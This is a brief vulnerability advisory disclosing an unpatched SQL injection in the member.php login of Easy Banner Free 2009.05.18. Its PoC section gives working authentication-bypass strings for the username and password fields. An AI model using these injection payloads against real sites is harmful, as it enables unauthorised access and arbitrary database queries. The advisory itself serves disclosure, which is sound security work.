Easy Banner Free SQL Injection

`New eVuln Advisory:  
SQL injection Auth Bypass in Easy Banner Free  
Summary: http://evuln.com/vulns/147/summary.html   
Details: http://evuln.com/vulns/147/description.html   
  
-----------Summary-----------  
eVuln ID: EV0147  
Software: Easy Banner Free  
Vendor: PHP Web Scripts  
Version: 2009.05.18  
Critical Level: medium  
Type: SQL injection  
Status: Unpatched. No reply from developer(s)  
PoC: Available  
Solution: Not available  
Discovered by: Aliaksandr Hartsuyeu ( http://evuln.com/ )  
--------Description--------  
Vulnerability exists in member.php script.  
User-defined parameters username and password are not properly sanitized against SQL injections.  
This can be used to bypass authentication or execute arbitrary SQL query.   
--------PoC/Exploit--------  
Auth Bypass example.  
  
Authentication bypass in member.php is possible using one of the following SQL injections:  
  
username: ' or 1#  
  
password: ' or 'a'='a  
Condition.  
  
magic_quotes_gpc = off  
---------Solution----------  
Not available  
----------Credit-----------  
Vulnerability discovered by Aliaksandr Hartsuyeu  
http://evuln.com/xss/referer.html - recent 'referer' XSS vulns  
`